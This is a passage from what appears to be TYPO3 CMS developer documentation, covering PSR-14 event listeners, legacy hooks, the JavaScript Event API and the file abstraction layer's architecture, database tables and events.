    identifier: 'my-extension/my-event-listener',
)]
final readonly class MyEventListener
{
    // The name of JavaScript module to be loaded
    private const MODULE_NAME = 'TYPO3/CMS/MyExtension/CustomUserSettingsModule';

    public function __invoke(AddJavaScriptModulesEvent $event): void
    {
        if (in_array(self::MODULE_NAME, $event->getModules(), true)) {
            return;
        }
        $event->addModule(self::MODULE_NAME);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AddJavaScriptModulesEvent
Fully qualified name
\TYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent

Collects additional JavaScript modules to be loaded in SetupModuleController.

addJavaScriptModule ( string $specifier)
param $specifier

Bare module identifier like @my/package/filename.js

getJavaScriptModules ( )
Returns
string[]

AfterCompiledCacheableDataForWorkspaceEvent

The PSR-14 event \TYPO3\CMS\Workspaces\Event\AfterCompiledCacheableDataForWorkspaceEvent is used in the Web > Workspaces module to find all cacheable data of versions of a workspace.

Example

API

class AfterCompiledCacheableDataForWorkspaceEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\AfterCompiledCacheableDataForWorkspaceEvent

Used in the workspaces module to find all cacheable data of versions of a workspace.

getGridService ( )
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData ( )
Returns
array
setData ( array $data)
param $data

the data

getVersions ( )
Returns
array
setVersions ( array $versions)
param $versions

the versions

AfterDataGeneratedForWorkspaceEvent

The PSR-14 event \TYPO3\CMS\Workspaces\Event\AfterDataGeneratedForWorkspaceEvent is used in the Web > Workspaces module to find all data of versions of a workspace.

Example

API

class AfterDataGeneratedForWorkspaceEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\AfterDataGeneratedForWorkspaceEvent

Used in the workspaces module to find all data of versions of a workspace.

getGridService ( )
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData ( )
Returns
array
setData ( array $data)
param $data

the data

getVersions ( )
Returns
array
setVersions ( array $versions)
param $versions

the versions

AfterRecordPublishedEvent

The PSR-14 event \TYPO3\CMS\Workspaces\Event\AfterRecordPublishedEvent is fired after a record has been published in a workspace.

Example

Example

EXT:my_extension/Classes/Workspaces/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Workspaces\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Workspaces\Event\AfterRecordPublishedEvent;

#[AsEventListener(
    identifier: 'my-extension/after-record-published',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterRecordPublishedEvent $event): void
    {
        // Do your magic here
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterRecordPublishedEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\AfterRecordPublishedEvent

Event that is fired after a record has been published in a workspace.

getTable ( )

The table name of the record.

Returns
string
getRecordId ( )

The uid of the record

Returns
int
getWorkspaceId ( )

The workspace the record has been published in.

Returns
int

GetVersionedDataEvent

The PSR-14 event \TYPO3\CMS\Workspaces\Event\GetVersionedDataEvent is used in the Web > Workspaces module to find all data of versions of a workspace. In comparison to AfterDataGeneratedForWorkspaceEvent, this one contains the cleaned / prepared data with an optional limit applied depending on the view.

Example

API

class GetVersionedDataEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\GetVersionedDataEvent

Used in the workspaces module to find all data of versions of a workspace.

In comparison to AfterDataGeneratedForWorkspaceEvent, this one contains the cleaned / prepared data with an optional limit applied depending on the view.

getGridService ( )
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData ( )
Returns
array
setData ( array $data)
param $data

the data

getDataArrayPart ( )
Returns
array
setDataArrayPart ( array $dataArrayPart)
param $dataArrayPart

the dataArrayPart

getStart ( )
Returns
int
getLimit ( )
Returns
int

ModifyVersionDifferencesEvent

The PSR-14 event \TYPO3\CMS\Workspaces\Event\ModifyVersionDifferencesEvent can be used to modify the version differences data, used for the display in the Web > Workspaces backend module. Those data can be accessed with the getVersionDifferences() method and updated using the setVersionDifferences(array $versionDifferences) method.

Example

EXT:my_extension/Classes/Workspaces/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Workspaces\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Utility\DiffUtility;
use TYPO3\CMS\Workspaces\Event\ModifyVersionDifferencesEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-version-differences',
)]
final readonly class MyEventListener
{
    public function __construct(
        private DiffUtility $diffUtility,
    ) {}

    public function __invoke(ModifyVersionDifferencesEvent $event): void
    {
        $differences = $event->getVersionDifferences();
        foreach ($differences as $key => $difference) {
            if ($difference['field'] === 'my_test_field') {
                $differences[$key]['content'] = $this->diffUtility->diff('a', 'b');
            }
        }

        $event->setVersionDifferences($differences);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyVersionDifferencesEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\ModifyVersionDifferencesEvent

Listeners to this event will be able to modify the differences of versioned records

getVersionDifferences ( )

Get the version differences.

This array contains the differences of each field with the following keys:

  • field: The corresponding field name
  • label: The corresponding field label
  • content: The field values difference
Return description

String, label: string, content: string}>

Returns
list<array{field:
setVersionDifferences ( array $versionDifferences)

Modifies the version differences data

param $versionDifferences

the versionDifferences

getLiveRecordData ( )

Returns the records live data (used to create the version difference)

Return description

String, label: string, content: string}>

Returns
list<array{field:
getParameters ( )

Returns meta information like current stage and current workspace

Returns
\stdClass

SortVersionedDataEvent

The PSR-14 event \TYPO3\CMS\Workspaces\Event\SortVersionedDataEvent is used in the Web > Workspaces module after sorting all data for versions of a workspace.

Example

API

class SortVersionedDataEvent
Fully qualified name
\TYPO3\CMS\Workspaces\Event\SortVersionedDataEvent

Used in the workspaces module after sorting all data for versions of a workspace.

getGridService ( )
Returns
\TYPO3\CMS\Workspaces\Service\GridDataService
getData ( )
Returns
array
setData ( array $data)
param $data

the data

getSortColumn ( )
Returns
string
setSortColumn ( string $sortColumn)
param $sortColumn

the sortColumn

getSortDirection ( )
Returns
string
setSortDirection ( string $sortDirection)
param $sortDirection

the sortDirection

Hooks

Hooks are basically places in the source code where a user function will be called for processing, if such has been configured. While there are conventions and best practises of how hooks should be implemented the hook concept itself does not prevent it from being used in any way.

Hooks are being phased-out and no new ones should be created. Dispatch a PSR-14 event instead.

Using hooks

The two lines of code below are an example of how a hook can be used for clear-cache post-processing. The objective of this could be to perform additional actions whenever the cache is cleared for a specific page:

EXT:site_package/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Hook\DataHandlerHook;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'][] =
    DataHandlerHook::class . '->postProcessClearCache';
Copied!

This hook registers the class/method name to a hook inside of \TYPO3\CMS\Core\DataHandling\DataHandler . The hook calls the user function after the cache has been cleared. The user function will receive parameters which allows it to see what clear-cache action was performed and typically also an object reference to the parent object. Then the user function can take additional actions as needed.

The class has to follow the PSR-4 class name scheme to be available in autoloading.

If we take a look inside of \TYPO3\CMS\Core\DataHandling\DataHandler we find the hook to be activated like this:

\TYPO3\CMS\Core\DataHandling\DataHandler (excerpt)
<?php

namespace TYPO3\CMS\Core\DataHandling;

use TYPO3\CMS\Core\Utility\GeneralUtility;

class DataHandler
{
    protected function prepareCacheFlush($table, $uid, $pid)
    {
        // do something [...]
        // Call post processing function for clear-cache:
        $_params = ['table' => $table, 'uid' => $uid/*...*/];
        foreach ($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'] ?? [] as $_funcRef) {
            GeneralUtility::callUserFunction($_funcRef, $_params, $this);
        }
    }
}
Copied!

This is how hooks are typically constructed. The main action happens in line 5 where the function \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() is called. The user function is called with two arguments, an array with variable parameters and the parent object.

In line 24 the content of the parameter array is prepared. This is of high interest to you because this is where you see what data is passed to you and what data might be passed by reference and thereby could be manipulated from your hook function.

Finally, notice how the array $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'] is traversed and for each entry the value is expected to be a function reference which will be called. This allows many hooks to be called at once. The hooks can even rearrange the calling order if they dare.

The syntax of a function reference can be seen in the API documentation of \TYPO3\CMS\Core\Utility\GeneralUtility .

Creating hooks

There are two main methods of calling a user-defined function in TYPO3.

\TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction()
Takes a reference to a function in a PHP class reference as value and calls that function. The argument list is fixed to a parameter array and a parent object.
\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance()
Creates an object from a user-defined PHP class. The method to be called is defined by the implementation of the hook.

Here are some examples:

Using \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance()

Data submission to extensions:

EXT:my_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Utility\GeneralUtility;

final class SomeClass
{
    public function doSomeThing(): void
    {
        // Hook for processing data submission to extensions
        foreach ($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['my_custom_hook']
                 ['checkDataSubmission'] ?? [] as $className) {
            $_procObj = GeneralUtility::makeInstance($className);
            $_procObj->checkDataSubmission($this);
        }
    }
}
Copied!

Using with \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction()

Constructor post-processing:

EXT:my_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Utility\GeneralUtility;

final class SomeClass
{
    public function doSomeThing(): void
    {
        // Call post-processing function for constructor:
        if (is_array($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS'][self::class]['Some-PostProc'])) {
            $_params = ['pObj' => &$this];
            foreach ($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS'][self::class]['Some-PostProc'] as $_funcRef) {
                GeneralUtility::callUserFunction($_funcRef, $_params, $this);
            }
        }
    }
}
Copied!

Hook configuration

Most hooks in the TYPO3 Core have been converted into PSR-14 events which are completely listed in the event list.

There is no complete index of the remaining hooks in the Core. The following naming scheme should be used:

$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']

Configuration space for third-party extensions.

This will contain all kinds of configuration options for specific extensions including possible hooks in them! What options are available to you will depend on a search in the documentation for that particular extension.

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['<extension_key>']['<sub_key>'] = '<value>';
Copied!
<extension_key>
The unique extension key
<sub_key>
Whatever the script defines. Typically it identifies the context of the hook
<value>
It is up to the extension what the values mean, if they are mere configuration options or hooks or whatever and how deep the arrays go. Read the source code where the options are implemented to see. Or the documentation of the extension, if available.

$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']

Configuration space for Core extensions.

This array is created as an ad hoc space for creating hooks from any script. This will typically be used from the Core scripts of TYPO3 which do not have a natural identifier like extensions have their extension keys.

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['<extension_key>']['<sub_key>'] = '<value>';
Copied!
<main_key>
The relative path of a script (for output scripts it should be the "script ID" as found in a comment in the HTML header)
<sub_key>
This is defined by the script. Typically it identifies the context of the hook.
<index>
Integer index typically. Can be a unique string, if you have a reason to use that. Normally it has no greater significance since the value of the key is not used. The hooks normally traverse over the array and uses only the value (function reference).
<function_reference>

A function reference using the syntax of \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() as a function or \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() as a class name depending on implementation of the hook.

A namespace function has the format \Foo\Bar\MyClassName::class . '->myUserFunction'.

A namespace class should be used in the unquoted form, for example \Foo\Bar\MyClassName::class. The called function name is determined by the hook itself.

The above syntax is how a hook is typically defined but it might differ and it might not be a hook at all, but just configuration. Depends on implementation in any case.

JavaScript Event API

The Event API in TYPO3 incorporates different techniques to handle JavaScript events in an easy, convenient and performant manner. Event listeners may be bound directly to an element or to multiple elements using event delegation.

TYPO3 ships different event strategies, implementing the same interface which makes all strategies API-wise interchangeable.

Bind to an element

To bind an event listener to an element directly, the API method bindTo() must be used. The method takes one argument that describes the element to which the event listener is bound. Accepted is any Node element, document or window.

Example:

// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chapters
new AnyEventStrategy('click', callbackFn).bindTo(document.getElementById('foobar'));
Copied!

Bind to multiple elements

To bind an event listener to multiple elements, the so-called "event delegation" may be used. An event listener is attached to a super element (e.g. a table) but reacts on events triggered by child elements within that super element.

This approach reduces the overhead in the browser as no listener must be installed for each element.

To make use of this approach the method delegateTo() must be used which accepts two arguments:

  • element - any Node element, document or window
  • selector - the selector to match any element that triggers the event listener execution

In the following example all elements matching .any-class within #foobar execute the event listener when clicked:

// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chapters
new AnyEventStrategy('click', callbackFn).delegateTo(document.getElementById('foobar'), '.any-class');
Copied!

To access the element that triggered the event, this may be used.

Release an event

If an event listener is not required anymore, it may be removed from the element it's attached. To release a registered event, the method release() must be used. This method takes no arguments.

Example:

// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chapters
const event = new AnyEventStrategy('click', callbackFn);
event.delegateTo(document.getElementById('foobar'), '.any-class');

// Release the event
event.release();
Copied!

Contents:

Regular event

A "regular event" is a very simple mechanism to bind an event listener to an element. The event listener is executed every time the event is triggered.

To construct the event listener, the module TYPO3/CMS/Core/Event/RegularEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
import RegularEvent from '@typo3/core/event/regular-event.js';

new RegularEvent('click', function (e) {
    console.log('Clicked element:', e.target);
}).bindTo(document.getElementById('#'));
Copied!

Debounce event

A "debounced event" executes its handler only once in a series of the same events. If the event listener is configured to execute immediately, it's executed right after the first event is fired until a period of time passed since the last event. If its not configured to execute immediately, which is the default setting, the event listener is executed after the period of time passed since the last event fired.

This type of event listening is suitable when a series of the same event is fired, e.g. the mousewheel or resize events.

To construct the event listener, the module TYPO3/CMS/Core/Event/DebounceEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
  • wait (number) - the amount of milliseconds to wait the event listener is either executed or locked
  • immediate (boolean) - defined whether the event listener is executed before or after the waiting time
import DebounceEvent from '@typo3/core/event/debounce-event.js';

new DebounceEvent('mousewheel', function (e) {
    console.log('Executed 200ms after the last mousewheel event was fired');
}, 200).bindTo(document.body);

new DebounceEvent('mousewheel', function (e) {
    console.log('Executed right after the first 200ms after the last mousewheel event was fired');
}, 200, true).bindTo(document.body);
Copied!

Throttle event

A "throttled event" executes its handler after a configured waiting time over a time span. This event type is similar to the debounced event, where the major difference is that a throttled event executes its listeners multiple times.

To construct the event listener, the module TYPO3/CMS/Core/Event/ThrottleEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
  • limit (number) - the amount of milliseconds to wait until the event listener is executed again
import ThrottleEvent from '@typo3/core/event/throttle-event.js';

new ThrottleEvent('mousewheel', function (e) {
    console.log('Executed every 50ms during the overall event time span');
}, 50).bindTo(document.body);
Copied!

RequestAnimationFrame event

A "request animation frame event" is similar to using ThrottleEvent with a limit of 16, as this event type incorporates the browser's RequestAnimationFrame API (rAF) which aims to run at 60 fps (16 = \frac{1}{60}) but decides internally the best timing to schedule the rendering.

The best suited use-case for this event type is on "paint jobs", e.g. calculating the size of an element or move elements around.

To construct the event listener, the module TYPO3/CMS/Core/Event/RequestAnimationFrameEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
import RequestAnimationFrameEvent from '@typo3/core/event/request-animation-frame-event.js';

const el = document.querySelector('.item');
new RequestAnimationFrameEvent('scroll', function () {
    el.target.style.width = window.scrollY + 100 + 'px';
}).bindTo(window);
Copied!

File abstraction layer (FAL)

The file abstraction layer (FAL) is TYPO3's toolbox for handling media. This chapter explains its architecture, concepts and details what a web site administrator should know about FAL maintenance and permissions.

Content related assets - mostly videos and images - are accessible through a file abstraction layer API and never referenced directly throughout the system.

The API abstracts physical file assets storage within the system. It allows to store, manipulate and access assets with different Digital Assets Management Systems transparently within the system, allows high availability cloud storages and assets providers. Assets can be enriched with meta data like description information, authors, and copyright. This information is stored in local database tables. All access to files used in content elements should use the FAL API.

This chapter provides a number of examples showing how to use the file abstraction layer in your own code.

Contents:

Basic concepts

This chapter presents the general concepts underlying the TYPO3 file abstraction layer (FAL). The whole point of FAL - as its name implies - is to provide information about files abstracted with regards to their actual nature and storage.

Information about files is stored inside database tables and using a given file is mostly about creating a database relation to the record representing that file.

Storages and drivers

Every file belongs to a storage, which is a very general concept encompassing any kind of place where a file can be stored: a local file system, a remote server or a cloud-based resource. Accessing these different places requires an appropriate driver.

Each storage relies on a driver to provide the user with the ability to use and manipulate the files that exist in the storage. By default, TYPO3 provides only a local file system driver.

A new TYPO3 installation comes with a predefined storage, using the local file system driver and pointing to the fileadmin/ directory, located in your public folder. If it is missing or offline after installation, you can create it yourself.

Files and metadata

For each available file in all present storages, there exists a corresponding database record in the table sys_file, which contains basic information about the file (name, path, size, etc.), and an additional record in the table sys_file_metadata, designed to hold a large variety of additional information about the file (metadata such as title, description, width, height, etc.).

File references

Whenever a file is used - for example, an image attached to a content element - a reference is created in the database between the file and the content element. This reference can hold additional information like an alternative title to use for this file just for this reference.

This central reference table ( sys_file_reference) makes it easy to track every place where a file is used inside a TYPO3 installation.

All these elements are explored in greater depth in the chapter about FAL components.

Architecture

This chapter provides an in-depth look into the architecture of FAL.

Overview

The file abstraction layer (FAL) architecture consists of three layers:

Usage layer
This layer is comprised of the file references, which represent relations to files from any structure that may use them (pages, content elements or any custom structure defined by extensions).
Storage layer
This layer is made of several parts. First of all there are the files and their associated metadata. Then each file is associated with a storage.
Driver layer

This layer is the deepest one. It consists of the drivers, managing the actual access to and manipulation of the files. It is invisible from both the frontend and the backend, as it works just in the background.

Indeed drivers are explicitly not part of the public interface. Developers will only interact with file, folder, file reference or storage objects, but never with a driver object, unless actually developing one.

This layered architecture makes it easy to use different drivers for accessing files, while maintaining a consistent interface for both developers (in terms of API) and end users (via the backend).

Folders

The actual storage structure depends on which driver each storage is based on. When using the local file system driver provided by the TYPO3 Core, a storage will correspond to some existing folder on the local storage system (for example, on the hard drive). Other drivers may use virtual structures.

By default, a storage pointing to the fileadmin/ folder is created automatically in every TYPO3 installation.

Processed files

Inside each storage there will be a folder named _processed_/ which contains all resized images, be they rendered in the frontend or thumbnails from the backend. The name of this folder is not hard-coded. It can be defined as a property of the storage. It may even point to a different storage.

Special properties in the "Access capabilities" tab of a File storage

Database structure

This chapter lists the various tables related to the file abstraction layer (FAL) and highlights some of their important fields.

sys_file

This table is used to store basic information about each file. Some important fields:

storage
ID of the storage where the file is stored.
type

The type of the file represented by an integer defined by an enum \TYPO3\CMS\Core\Resource\FileType value.

See File types for more details.

identifier
A string which should uniquely identify a file within its storage. Duplicate identifiers are possible, but will create a confusion. For the local file system driver, the identifier is the path to the file, relative to the storage root (starting with a slash and using a slash as directory delimiter).
name
The name of the file. For the local file system driver, this will be the current name of the file in the file system.
sha1
A hash of the file's content. This is used to detect whether a file has changed or not.
metadata
Foreign side of the sys_file_metadata relation. Always 0 in the database, but necessary for the TCA of the sys_file table.

sys_file_metadata

This table is used to store metadata about each file. It has a one-to-one relationship with table sys_file. Contrary to the basic information stored in sys_file, the content of the table sys_file_metadata can be translated.

Most fields are really just additional information. The most important one is:

file
ID of the sys_file record of the file the metadata is related to.

The sys_file_metadata table is extended by the system extension filemetadata. In particular, it adds the necessary definitions to categorize files with system categories.

Also some other helpful metadata attributes are provided (and some of them can be automatically inferred from the file). Most of these attributes are self-explanatory; this list may not reflect the most recent TYPO3 version, so it is recommended to inspect the actual TCA configuration of that table:

  • caption
  • color_space
  • content_creation_date - Refers to when the contents of the file were created (retrievable for images through EXIF metadata)
  • content_modification_date
  • copyright
  • creator
  • creator_tool - Name of a tool that was used to create the file (for example for auto-generated files)
  • download_name - An alternate name of a file when being downloaded (to protect actual file name security relevance)
  • duration - length of audio/video files, or "reading time"
  • height
  • keywords
  • language - file content language
  • latitude
  • location_city
  • location_country
  • location_region
  • longitude
  • note
  • pages - Related pages
  • publisher
  • ranking - Information on prioritizing files (like "star ratings")
  • source - Where a file was fetched from (for example from libraries, clients, remote storage, ...)
  • status - indicate whether a file may need metadata update based on differences between locally cached metadata and remote/actual file metadata
  • unit - measurement units
  • visible
  • width

sys_file_reference

This table is used to store all references between files and whatever other records they are used in, typically pages and content elements. The most important fields are:

uid_local
ID of the file.
uid_foreign
ID of the related record.
tablenames
Name of the table containing the related record.
fieldname
Name of the field of the related record where the relation was created.
title

When a file is referenced, normally its title is used (for whatever purpose, like displaying a caption for example). However it is possible to define a title in the reference, which will be used instead of the original file's title.

The fields description, alternative and downloadname obey the same principle.

sys_file_processedfile

This table is similar to sys_file, but for "temporary" files, like image previews. This table does not have a TCA representation, as it is only written for using direct SQL queries in the source code.

sys_file_collection

FAL offers the possibility to create file collections, which can then be used for various purposes. By default, they can be used with the "File links" content element.

The most important fields are:

type
The type of the collection. A collection can be based on hand-picked files, a folder or categories.
files
The list of selected files. The relationship between files and their collection is also stored in sys_file_reference.
folder_identifier
The field contains the so-called "combined identifier" in the format storage:folder, where "storage" is the uid of the corresponding sys_file_storage record and folder the absolute path to the folder. An example for a combined identifier is 1:/user_upload.
category
The chosen categories, for category-type collections.

sys_file_storage

This table is used to store the storages available in the installation. The most important fields are:

driver
The type of driver used for the storage.
configuration
The storage configuration with regards to its driver. This is a FlexForm field and the current options depend on the selected driver.

sys_filemounts

File mounts are not specifically part of FAL (they existed long before), but their definition is based on storages. Each file mount is related to a specific storage. The most important field is:

identifier
The identifier in the format base:path, where base is the storage ID and path the path to the folder, for example 1:/user_upload.

Components

The file abstraction layer (FAL) consists of a number of components that interact with each other. Each component has a clear role in the architecture, which is detailed in this section.

Files and folders

The files and folders are facades representing files and folders or whatever equivalent there is in the system the driver is connecting to (it could be categories from a digital asset management tool, for example). They are tightly coupled with the storage, which they use to actually perform any actions. For example a copying action ( $file->copyTo($targetFolder)) is technically not implemented by the \TYPO3\CMS\Core\Resource\File object itself but in the storage and Driver.

Apart from the shorthand methods to the action methods of the storage, the files and folders are pretty lightweight objects with properties (and related getters and setters) for obtaining information about their respective file or folder on the file system, such as name or size.

A file can be indexed, which makes it possible to reference the file from any database record in order to use it, but also speeds up obtaining cached information such as various metadata or other file properties like size or file name.

A file may be referenced by its uid in the sys_file table, but is often referred to by its identifier, which is the path to the file from the root of the storage the file belongs to. The combined identifier includes the file's identifier prepended by the storage's uid and a colon (:). Example: 1:/path/to/file/filename.foo.

File references

A \TYPO3\CMS\Core\Resource\FileReference basically represents a usage of a file in a specific location, for example, as an image attached to a content element ( tt_content) record. A file reference always references a real, underlying file, but can add context-specific information such as a caption text for an image when used at a specific location.

In the database, each file reference is represented by a record in the sys_file_reference table.

Creating a reference to a file requires the file to be indexed first, as the reference is done through the normal record relation handling of TYPO3.

Storage

The storage is the focal point of the FAL architecture. Although it does not perform the actual low-level actions on a file (that is up to the driver), it still does most of the logic.

Among the many things done by the storage layer are:

  • the capabilities check (is the driver capable of writing a file to the target location?)
  • the action permission checks (is the user allowed to do file actions at all?)
  • the user mount permission check (do the user's file mount restrictions allow reading the target file and writing to the target folder?)
  • communication with the driver (it is the ONLY object that does so)
  • logging and throwing of exceptions for successful and unsuccessful file operations (although some exceptions are also thrown in other layers if necessary, of course)

The storage essentially works with \TYPO3\CMS\Core\Resource\File and \TYPO3\CMS\Core\Resource\Folder objects.

Drivers

The driver does the actual actions on a file (for example, moving, copying, etc.). It can rely on the storage having done all the necessary checks beforehand, so it doesn't have to worry about permissions and other rights.

In the communication between storage and driver, the storage hands over identifiers to the driver where appropriate. For example, the copyFileWithinStorage() method of the driver API has the following method signature:

Excerpt from EXT:core/Classes/Resource/Driver/DriverInterface.php
/**
 * Copies a file *within* the current storage.
 * Note that this is only about an inner storage copy action,
 * where a file is just copied to another folder in the same storage.
 *
 * @param non-empty-string $fileIdentifier
 * @param non-empty-string $targetFolderIdentifier
 * @param non-empty-string $fileName
 * @return non-empty-string the Identifier of the new file
 */
public function copyFileWithinStorage(string $fileIdentifier, string $targetFolderIdentifier, string $fileName): string;
Copied!

The file index

Indexing a file creates a database record for the file, containing meta information both about the file (filesystem properties) and from the file (for example, EXIF information for images). Collecting filesystem data is done by the driver, while all additional properties have to be fetched by additional services.

This distinction is important because it makes clear that FAL does in fact two things:

  • It manages files in terms of assets we use in our content management system. In that regard, files are not different from any other content, like texts.
  • On the other hand, it also manages files in terms of a representation of such an asset. While the former thing only uses the contents, the latter heavily depends on the file itself and thus is considered low-level, driver-dependent stuff.

Managing the asset properties of a file (related to its contents) is not done by the storage/driver combination, but by services that build on these low-level parts.

Technically, both indexed and non-indexed files are represented by the same object type ( \TYPO3\CMS\Core\Resource\File ), but being indexed is nevertheless an important step for a file.

Collections

Collections are groups of files defined in various ways. They can be picked up individually, by the selection of a folder or by the selection of one or more categories. Collections can be used by content elements or plugins for various needs.

The TYPO3 Core makes usage of collections for the "File Links" content object type.

Services

The file abstraction layer also comes with a number of services:

\TYPO3\CMS\Core\Resource\Service\FileProcessingService

This service processes files to generate previews or scaled/cropped images. These two functions are known as task types and are identified by class constants.

The task which generates preview images is used in most places in the backend where thumbnails are called for. It is identified by constant \TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGEPREVIEW.

The other task is about cropping and scaling an image, typically for frontend output. It is identified by the constant \TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGECROPSCALEMASK).

The configuration for \TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGECROPSCALEMASK is the one used for the imgResource function, but only taking the crop, scale and mask settings into account.

\TYPO3\CMS\Core\Resource\Service\MagicImageService
This service creates resized ("magic") images that can be used in the rich-text editor (RTE), for example.
\TYPO3\CMS\Core\Resource\Service\UserFileMountService
This service provides a single public method which builds a list of folders (and subfolders, recursively) inside any given storage. It is used when defining file mounts.

PSR-14 events

The file abstraction layer (FAL) comes with a series of PSR-14 events that offer the opportunity to hook into FAL processes at a variety of points.

They are listed below with some explanation, in particular when they are sent (if the name is not explicit enough) and what parameters the corresponding event will receive. They are grouped by emitting class.

Most events exist in pairs, one being sent before a given operation, the other one after.

\TYPO3\CMS\Core\Resource\DefaultUploadFolderResolver

AfterDefaultUploadFolderWasResolvedEvent
Allows to modify the default upload folder after it has been resolved for the current page or user.

\TYPO3\CMS\Core\Resource\OnlineMedia\Processing\PreviewProcessing

AfterVideoPreviewFetchedEvent
Modifies the preview file of online media previews (like YouTube and Vimeo).

\TYPO3\CMS\Core\Resource\ResourceStorage

SanitizeFileNameEvent
The sanitize file name operation aims to remove characters from filenames which are not allowed by the underlying driver. The event receives the filename and the target folder.
BeforeFileAddedEvent
Receives the target file name, the target folder (as a Folder instance) and the local file path.
AfterFileAddedEvent
Receives the File instance corresponding to the newly stored file and the target folder (as a Folder instance).
BeforeFileCreatedEvent
Receives the file name to be created and the target folder (as a Folder instance).
AfterFileCreatedEvent
Receives the name of the newly created file and the target folder (as a Folder instance).
BeforeFileCopiedEvent
Receives a File instance for the file to be copied and the target folder (as a Folder instance).
AfterFileCopiedEvent
Receives a File instance for the file that was copied (i.e. the original file) and the target folder (as a Folder instance).
BeforeFileMovedEvent
Receives a File instance for the file to be moved and the target folder (as a Folder instance).
AfterFileMovedEvent
Receives a File instance for the file that was moved, the target folder and the original folder the file was in (both as Folder instances).
BeforeFileDeletedEvent
Receives a File instance for the file to be deleted.
AfterFileDeletedEvent
Receives a File instance for the file that was deleted.
BeforeFileRenamedEvent
Receives a File instance for the file to be renamed and the sanitized new name.
AfterFileRenamedEvent
Receives a File instance for the file that was renamed and the sanitized new name.
BeforeFileReplacedEvent
Receives a File instance for the file to be replaced and the path to the local file that will replace it.
AfterFileReplacedEvent
Receives a File instance for the file that was replaced and the path to the local file that has replaced it.
BeforeFileContentsSetEvent
Receives a File instance for the file whose content will be changed and the content itself (as a string).
AfterFileContentsSetEvent
Receives a File instance for the file whose content was changed and the content itself (as a string).
BeforeFolderAddedEvent
Receives the name of the new folder and a reference to the parent folder, if any (as a Folder instance).
AfterFolderAddedEvent
Receives the newly created folder (as a Folder instance).
BeforeFolderCopiedEvent
Receives references to the folder to copy and the parent target folder (both as \TYPO3\CMS\Core\Resource\FolderInterface instances) and the sanitized name for the copy.
AfterFolderCopiedEvent
Receives references to the original folder and the parent target folder (both as \TYPO3\CMS\Core\Resource\FolderInterface instances) and the identifier of the newly copied folder.
BeforeFolderMovedEvent
